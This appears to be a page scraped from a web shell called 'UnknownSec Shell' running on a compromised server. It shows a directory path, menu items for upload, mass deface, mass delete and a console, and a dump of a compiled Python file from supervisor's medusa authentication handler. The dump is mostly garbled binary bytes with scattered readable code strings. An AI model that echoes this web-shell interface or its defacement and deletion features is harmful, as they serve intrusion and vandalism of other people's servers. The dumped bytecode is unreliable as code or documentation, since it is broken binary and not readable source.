shell bypass 403
UnknownSec Shell
:
/
usr
/
lib
/
python3
/
dist-packages
/
supervisor
/
medusa
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
auth_handler.cpython-312.pyc
� k��c~ � � � d Z ddlZddlZddlZddlmZmZ ddlmZmZ ddlm Z ddlm Z ddl m c m Z ddlm c mZ ej Zddlm c mZ G d� d� Z G d � d � Z ej* d ej, � Zy) z>$Id: auth_handler.py,v 1.6 2002/11/25 19:40:23 akuchling Exp $� N)� as_string�as_bytes)� encodestring� decodestring)�long)�md5c �8 � e Zd Zd d�Zd� Zd� Zd� Zd� Zd� Zd� Z y) � auth_handlerc � � t |� | _ || _ || _ t j � | _ t j � | _ y �N)�dictionary_authorizer� authorizer�handler�realm�counter� pass_count� fail_count)�self�dictr r s �@/usr/lib/python3/dist-packages/supervisor/medusa/auth_handler.py�__init__zauth_handler.__init__# s8 � �/��6��� �� ��� �!�/�/�+���!�/�/�+��� c �8 � | j j |� S r )r �match�r �requests r r zauth_handler.match* s � ��|�|�!�!�7�+�+r c �� � t t |j � }|r�|j � }|dk( r�t t |j d� } t t t |� � � }|j dd� }| j j |� r=| j j � ||_ | j" j% |� y | j' |� y t j j d|z � | j' |� y | j' |� y # t j j d|z � |j d� Y y xY w)N�basic� z"malformed authorization info <%s> i� �:� z$unknown/unsupported auth method: %s )� get_header� AUTHORIZATION�header�lowerr r r �sys�stderr�write�error�splitr � authorizer � increment� auth_infor �handle_request�handle_unauthorized)r r �scheme�cookie�decodedr- s r r. zauth_handler.handle_request. s � ��]�G�N�N�;�� ��\�\�^�F��� �#�]�G�N�N�A�F��� '� �X�f�5E�(F� G�G� $�M�M�#�q� 1� ��?�?�,�,�i�8��O�O�-�-�/�(1�G�%��L�L�/�/��9��,�,�g�6� � � � � �!H�6�!Q�R��(�(��1� � $� $�g� .��1��J�J�$�$�%J�V�%S�T��M�M�3�'��s � D- �-5E$c � � | j j � |j j d � d|d< d| j z |d< |j d� y )N�close� ConnectionzBasic realm="%s"zWWW-Authenticatei� )r r, �channel�set_terminatorr r) r s r r/ z auth_handler.handle_unauthorizedR sP � � ���!�!�#����&�&��-� '�� � �&8�4�:�:�&E��"�#�� � �s�r c � � |j j j }t t t j � � � }|dd dk( r|dd }t t | � � }dj |||g� }| j |� S )zEA digest-authentication <nonce>, constructed as suggested in RFC 2069���N�Lr ) r6 �server�ip�strr �time�id�join� apply_hash)r r r< �now� private_key�nonces r � make_noncezauth_handler.make_nonce[ su � � �_�_� #� #� &� &���$�t�y�y�{�#�$�� �r�s�8�s�?��c�r�(�C��2�t�9�o� ����"�c�;�/�0������&�&r c �t � t � }|j |� |j � }t |� dd S )z;Apply MD5 to a string <s>, then wrap it in base64 encoding.Nr9 )r �update�digestr )r �s�m�ds r rA zauth_handler.apply_hashe s1 � � �E�� ���!� � �H�H�J���Q� ���$�$r c �8 � t j d| j z � g}t | j d� r)|j | j j � � |j t j d� � t j |� S )NzB<li>Authorization Extension : <b>Unauthorized requests:</b> %s<ul>�statusz</ul>)� producers�simple_producerr �hasattrr �appendrM �composite_producer)r �rs r rM zauth_handler.statusm s� � � �)�)�?�AE� � �Q�� �� �D�L�L�(� +� �H�H�d�l�l�)�)�+� ,� ����)�)�7�3� � �+�+�A�.�.r N)�default) �__name__� __module__� __qualname__r r r. r/ rE rA rM � r r r r " s& � �,�,�"/�H �'�%� /r r c � � e Zd Zd� Zd� Zy)r c � � || _ y r �r )r r s r r z dictionary_authorizer.__init__} s � ��� r c �P � |\ }}|| j v r| j | |k( ryy)Nr! r r[ )r r- �username�passwords r r+ z dictionary_authorizer.authorize� s. � � (� ��8� �t�y�y� �T�Y�Y�x�%8�H�%D��r N)rU rV rW r r+ rX r r r r | s � ��r r zAuthorization: ([^ ]+) (.*))�RCS_ID�rer& r> �supervisor.compatr r r r r r �supervisor.medusa.counter�medusar �!supervisor.medusa.default_handler�default_handlerr" �supervisor.medusa.producersrN r r �compile� IGNORECASEr# rX r r �<module>ri st �� K�� � � � 1� 8� "� !� +� +� ;� ;� � '� '� � /� /�X/� X/�t � � �� � �%� � � � � r
© 2026 UnknownSec